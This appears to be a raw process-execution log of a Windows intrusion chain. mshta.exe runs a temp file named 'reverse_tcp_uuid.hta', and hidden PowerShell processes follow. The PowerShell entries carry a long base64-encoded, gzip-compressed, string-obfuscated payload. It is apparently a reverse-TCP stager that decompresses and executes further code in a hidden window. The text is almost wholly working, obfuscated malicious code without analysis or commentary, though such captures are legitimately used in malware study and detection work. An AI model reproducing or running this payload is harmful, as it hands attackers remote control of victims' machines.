mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\reverse_tcp_uuid.hta
840powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARQBnAEgANgAyAFUAQwBBADcAVgBXAGIAVwAvAGkATwBCAEQAKwB2AHQATAArAGgAMgBpAEYAUgBOAEIAUwBFAGwANgB1ADIAMQBaAGEANgBSAHoAUwBBAEcAMgBoAGcAUgBRAG8AWgBkAEgASgBUAFoAegBFAGkAeABQAFQAeABDAG0AbABlAC8AdgBmAGIAeAB4AEkAeQA5ACcAJwArACcAJwA2ADIAcQA5ADUASgBhADQAbgBXAHMAVwBmAEcANAAyAGUAZQBtAGIARwBmAHgAYQA2AGcAUABGAGIAaQBsAHYATAB0AC8AVAB0AGwATgAyAHkAYwA0AEUAaABSAFMAegB3ADEAeABsAFcAbABsAEQAVQByAHoAMwB1AGwATgBEAHMAJwAnACsAJwAnADgAVQBqADQAcgA2AGgAeQB0AFYAaQBhAFAATQBJADAAWABKAHkAZgB0AEwARQBsAEkATABMAGIAZgB0AFEANABSAEsARQAxAEoAZABNAHMAbwBTAGQAVwBLADgAcgBjAHkARABVAGwAQwBEAGkANQB2AHYAeABKAFgASwBOACsAVQAwAGwAKwAxAEQAdQBPADMAbQBPADMARQBOAG0AMwBzAGgAawBRADUAUQBMAEUAbgA5AHkANgA0AGkANgBWAGIATgBXAGYARgBxAEYARABMAFgANwA2AFUASwAvAE8ARAArAHEASgAyAGUAcABkAGgAbABxAHAAbABaADUATQBLAEUAdABVADgAeABzAG8AVgA1AFgAdABGAEgAbgBpADEAVwBSAEcAMQAzAEsAZAB1AHcAbABQAHUAaQA5AHEAVQB4AHMAMQBHAGIAUgB5AG4AMgBDAGMARABzAEgAWgBQACsAawBTAEUAMwBFAHYATABjAEoAbgBuADYAeQBSAEUAWgBFAG0AOAB2AFoAVQAwAHMAeABWAFMAeQB6AEMAMQBFACsANABpAHoAMAB0AEkAbQBwAGEAcgB5AGwAdwBlAE0ARgA4AHMALwBsAFQAbgB1ADkATgBIAFcAUwB4AG8AUgBHAHEAOQBXAEoAQwBFAHIAeAB5AFMAMwBGAE8AWABwAEwAVQB1AGoAagAxAEcAUgBzAFIAZgBnAEoAewAxAH0AagBFACcAJwArACcAJwBoAG8ASABpADAAbwBGAHgATwA3ADUAawBxAGkAbABPAEcATwBzAHEAdgB3AFgATQArAHEAQQByAEEAdgBzADMAcQBxAGsANwBpAHUAQgBsAEMAMgBTAFMAaABWAEMAKwBzAEkAOQArADkAegBMAEcATgBsAHEAbABsADkAdwBOAEsAZABCAEIAYwBhAFcAQwBnAEQAZgBkADQAbQBnAC8AOABTAGQAdwB4AGUANAA4ADcAeABRAGoASABtACsAUQA4AEIAZgAxAGUAewAxAH0AcAB6AFYAVQAnACcAKwAnACcALwBLADMAcABWADYAYwBQAEoAVwBQAEIAawBBADUAKwBsAHEAeQBRAGoAbABjAFUAVAAyAGsAcgBwADAAUgA0AGwAMQBiAGQAYQBxAHgAZQBxAG8ARQBnAG0ANgA4AHsAMQB9ADUAcgBNADAAbgBuAEgAcQBMAFoAdwBzAC8AaABMACsAMABuAFAAbQA5AHIAcABSADYAbgBjADAAbQA4AFcAbABNAHoARQAyAE0ASQArAG8AVwBoAEYAVgBmAEMAZwByAHgARwBjAGsAeABxAFIAVgBpACcAJwArACcAJwBBAC8AQgBSAEwAZQA4ADIAaQBHAGMAUwBSAGcASQBzAEoATQB5AFMARwB6ACsAcABuAFUAWgBVAFAATwBrAGEARwBXAFUAZQBTAFoAQQBMAGcAVQAzAEIASwA0AGgANQA1AFUAZABuAHQAcABGAFQAeQA3ADIANABUAHkASQBBAGMAUABzAE4AWgBDADMANQBrAEMAYQBrAGsATgA2AGwAeABxAHsAMQB9ADQAWABYADYARABVAEwAbgBOAGMASgBwAFcARgBUAHUARABQAEgAVwByACcAJwArACcAJwBpAGsATQAnACcAKwAnACcAdwBJADEANQBWAFEAWABGAEsAZAAxAHMAJwAnACsAJwAnAG8ARQB6AHkAZgBsAHAALwBkADcAVwBkAE0AVQBCAGUAbgBvAGoAQwAzAHEAUAB3AGIAegAnACcAKwAnACcAOQAyADUAYgBSADYAbgBJAHMAbABjACcAJwArACcAJwBpAEMAMQBnAGMATwBXAHMAaQBFAHMAeABrADUAQgBVAGwAUwA3ADEAaQBMAEYAeABhAEYAQwBjAFgAMwA0AFIAawBEAFoAbQBEAFAASQBIAEwATgAxAEQAUQBHAEIARgBBAHUARQBJAHkAWgBnAEUAWABNADMAWgBVAGEAawA1AFIAUABTAGkARgBTAE0AUgB5AE8AUwBGAHcAMgBJADQAZwBEAEsAeAB5ADUASwBjAHsAMQB9AGoAZwBnAFgAdgBrADEAVAA0AHQAcwAyAEYASgBmAHsAMQB9AGwATwBBAHMAdQBjAG4AQgBOAHgAaABYAEYAUwBWAEMAVQAwAEUAMQBDAEcASgBjADAANgB5AC8AKwBYAEgAegB5AFYAbwA2ADEAQQA3AEkAYgBzAFEAcQBVAFcAbQB6AHsAMQB9ADIATgBrAE0AbABRAGUAaAB5AFoAQQA4AG4AVgBIAFUANAA1AEsAbwBrAEEAUgBLAHkARQBSAHcAWgBPAHkAVwBGAHIAVwAyAC8AVQBEADkAbwBsAHQAUgBHAE0AVwBTADkAbQBmAGUAOQBzAFMAZQB1ADkATgBmAHoANgA4AEIAdgBUAFoAbwAvADMALwBTAE4AYgA2AEQAegBxAHUAKwAzAFUANwBsAGgASABpAEsANgBEAHQAWABzADAAUQBLADUAMwA1AHAARgBqAFoAOQBJAFMAegBtAGwAUAB0AEcAMwBVAEgAVgBMAGQAYQBJAFcAdQBvAFYAJwAnACsAJwAnAC8ASgBlAFQAMABJAGsASABkADUANABSAGoAaABNACcAJwArACcAJwBIAFMAWgBiAHAAdABkAHoAWgBtAGwATwBsADEAMwBwADkATABXADEAbwBiAGIAYQBuAFcAdgBkAGQAUgBzAHQAaQA2AGIAKwBoAEkAUQBuACcAJwArACcAJwBJAEgAZQBFAG4AbQBEAGkASwA0AGYATABtAEQAdQBTAGgAdABHAEwAegBYADAASABqAHMAOQAnACcAKwAnACcAYQA0ADkAdQBwAHcAMwByAFoAcwBxADYAVwBzAHMASwAvAFMAbABQAG4AYwBPAFoAcQBXAG4AYQBzAHsAMQB9AGYATgAvAGcAewAxAH0AaABnADMAdgBOAC8AdQBhADYAUAB1AEoAWABYAFQAYwB5AFcAagBIAFgAagAnACcAKwAnACcAdAB1AHQASgBUAHAARgBxAEIAMgBmAFQAaQB5AEQAbgA4ACsATQBCAE4AbgBhAEIAQQBjAHIAagBvAGEAZgBtAGoAdwBLADIAdQBqAHMAdwBhAEQAawBaAGoAaQAyAGoATwBIAFEATQB0AEMANAA4AC8AWABPAFAATgB7ADEAfQBDADcAWABoADYAagBVAE4AagBPAG0AbgBRAG0AOQBYADEASwBJAFIAdgBhADkAMABkAG4AbQB0ADYAcQArAGUAUgBSADAANABsAGMAQgAyAE8AYwBHAGoAeQBVAHoAbQAzAFAATQA5ADgANABKAFoANQBhADYANgBFAE4AYQAxAFAAQgBwADIAUAA2AGMAUABaACcAJwArACcAJwBOAGUANQBmAEoASgBlAFcAcAB0AFcAbgBJAEIAdQBNAHcARgA3AFEAYgByAGkAaABEAC8AYgBNAGoAOABqADQATwBPAEIAcABBAHkAOABOAGoAZwB4AHAANAArAHsAMQB9AE8AZABjAEwAWgB5AHIASQBaADcARgArAE4ARwB4AHgATgAyAE8AQQBhAG8ANAB1AGIAagBiAFEAeABzADEAdQBvAHEALwBOAHAASgAwAEIARAAnACcAKwAnACcARQBNAGUAQgBNAGMAUQBvAHYAVABjAGYAVABhADAAKwA4AGIAZwAzAC8AVwBNAHcAOAA3AFgASgBOAGYAdQBrAG0AZQAyAGgASAB7ADEAfQA0ADEATwBWAGIAawBIAHYANgB1AHUAKwBhADUAZQAxAE4AZgB1ADUAZQBmAGoAaQA2AG0AZABCAEoAeABCACcAJwArACcAJwBOAHUAVABEADAAQwBnACsAWgBqAEcAbwB0AGwAewAnACcAKwAnACcAMQB9AGwAQgA1ADgAVwBXADMAZgB2AHkAdAA1AGsAegAwAEsAdgBkAFoASAArAGoAaABKAFEAOAB5AEEAVwB0AEEAZwBpAGsAUwAzAGUARwBMAHQAaQByADcATgBxAGQAUgBRAFYAWABnADQATABFAGsAUwBFAHcAYgBOAEYAdABwAHgAawBSAHUASQBNAGUANwBLAGgAZwBQAE4AQQBWAHIAZAB0AGcASABKAGYAagBqAHUANQBlADYAOABOAEsAcwBvAFQAJwAnACsAJwAnADQASwBWADUAegBaAFUATABKADIAYwAzAEkAQwBIAE0AdABVAGcAQwBXAG8AWABKAEEANQBFAFcATgBVAGYAbQByAG8ATwBMAFUAUgAvADAARgB0ADUAVAByADMAOQBYAG0AMgArADIAcQBpADUAcwBhAHAAcwBRAGcAQgBMAHsAMQB9AFoAdgBsAHQAcwBFAGMAOQBSAFYAVgAvAGQAMQBJAHcAUwB0AEQAUQBMAEYANwBEAGEAdgBYAHsAMQB9AEkATgB6AGwAMQBDAHsAMQB9AG8ARgBSAHUAUwA0AFUARQB6ACsAQwBjADcAVQBPAFgAMwArAG0ASgBBAFAAdQA0AEEAVwBCADEAdQBQAFIAYwB2AGkANgBBAEcAYQBCADkAUQBPADYAVQBrAHAARABOAGQANwArAFoAbAAwAFQANABPADgAbQB5AHEAMwBVAGgALwBQAE4AKwBUAFoAYgBuAHQAVgAvAHMAdgBvAGwAQQBlAGwAWABDADgAdABQAGkAagB3AHQANwBmAGUASwAzAFgAWAA2AEsAcQBRAEEANQBCADgAbwAxAEkAOQB1AEgAeABFAHMAewAxAH0ANwBIAEoAagBMADYAbwA1ADcALwAzAGQAawBJAC8AcgB5ADAAdwBjAEQATwBDAHgAbAByAGUATABmAHcAQQBnADIANQBRADQAMAB3AHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBZACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
2080powershell.exe "powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAEgH62UCA7VWbW/iOBD+vtL+h2iFRNBSEl6u21Za6RzSAG2hgRQoZdHJTZzEixPTxCmle/vfbxxIy9'+'62q95Ja4nWsWfG42eembGfxa6gPFbilvLt/TtlN2yc4EhRSzw1xlWllDUrz3ulNDs'+'8Uj4r6hytViaPMI0XJyftLElILLbftQ4RKE1JdMsoSdWK8rcyDUlCDi5vvxJXKN+U0l+1DuO3mO3ENm3shkQ5QLEn9y64i6VbNWfFqFDLX76UK/OD+qJ2epdhlqplZ5MKEtU8xsoV5XtFHni1WRG13KduwlPui9qUxs1GbRyn2CcDsHZP+kSE3EvLcJnn6yREZEm8vZU0sxVSyzC1E+4iz0tImparylweMF8s/lTnu9NHWSxoRGq9WJCErxyS3FOXpLUujj1GRsRfgJ{1}jE'+'hoHi0oFxO75kqilOGOsqvwXM+qArAvs3qqk7iuBlC2SShVC+sI9+9zLGNlqll9wNKdBBcaWCgDfd4mg/8Sdwxe487xQjHm+Q8Bf1e{1}pzVU'+'/K3pV6cPJWPBkA5+lqyQjlcUT2krp0R4l1bdaqxeqoEgm68{1}5rM0nnHqLZws/hL+0nPm9rpR6nc0m8WlMzE2MI+oWhFVfCgrxGckxqRVi'+'A/BRLe82iGcSRgIsJMySGz+pnUZUPOkaGWUeSZALgU3BK4h55UdntpFTy724TyIAcPsNZC35kCakkN6lxq{1}4XX6DULnNcJpWFTuDPHWr'+'ikM'+'wI15VQXFKd1s'+'oEzyflp/d7WdMUBenojC3qPwbz'+'925bR6nIslc'+'iC1gcOWsiEsxk5BUlS71iLFxaFCcX34RkDZmDPIHLN1DQGBFAuEIyZgEXM3ZUak5RPSiFSMRyOSFw2I4gDKxy5Kc{1}jggXvk1T4ts2FJf{1}lOAsucnBNxhXFSVCU0E1CGJc06y/+XHzyVo61A7IbsQqUWmz{1}2NkMlQehyZA8nVHU45KokARKyERwZOyWFrW2/UD9oltRGMWS9mfe9sSeu9Nfz68BvTZo/3/SNb6Dzqu+3U7lhHiK6DtXs0QK535pFjZ9ISzmlPtG3UHVLdaIWuoV'+'/JeT0IkHd54RjhM'+'HSZbptdzZmlOl13p9LW1obbanWvddRsti6b+hIQn'+'IHeEnmDiK4fLmDuShtGLzX0Hjs9'+'a49upw3rZsq6WssK/SlPncOZqWnas{1}fN/g{1}hg3vN/ua6PuJXXTcyWjHXj'+'tutJTpFqB2fTiyDn8+MBNnaBAcrjoafmjwK2ujswaDkZji2jOHQMtC48/XOPN{1}C7Xh6jUNjOmnQm9X1KIRva90dnmt6q+eRR04lcB2OcGjyUzm3PM984JZ5a66ENa1PBp2P6cPZ'+'Ne5fJJeWptWnIBuMwF7QbrihD/bMj8j4OOBpAy8Njgxp4+{1}OdcLZyrIZ7F+NGxxN2OAao4ubjbQxs1uoq/NpJ0BD'+'EMeBMcQovTcfTa0+8bg3/WMw87XJNfukme2hH{1}41OVbkHv6uu+a5e1Nfu5efji6mdBJxB'+'NuTD0Cg+ZjGotl{'+'1}lB58WW3fvyt5kz0KvdZH+jhJQ8yAWtAgikS3eGLtir7NqdRQVXg4LEkSEwbNFtpxkRuIMe7KhgPNAVrdtgHJfjju5e68NKsoT'+'4KV5zZULJ2c3ICHMtUgCWoXJA5EWNUfmroOLUR/0Ft5Tr39Xm2+2qi5sapsQgBL{1}ZvltsEc9RVV/d1IwStDQLF7DavX{1}INzl1C{1}oFRuS4UEz+Cc7UOX3+mJAPu4AWB1uPRcvi6AGaB9QO6UkpDNd7+Zl0T4O8myq3Uh/PN+TZbntV/svolAelXC8tPijwt7feK3XX6KqQA5B8o1I9uHxEs{1}7HJjL6o57/3dkI/ry0wcDOCxlreLfwAg25Q40wsAAA{0}{0}')-f'=','Y')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
2220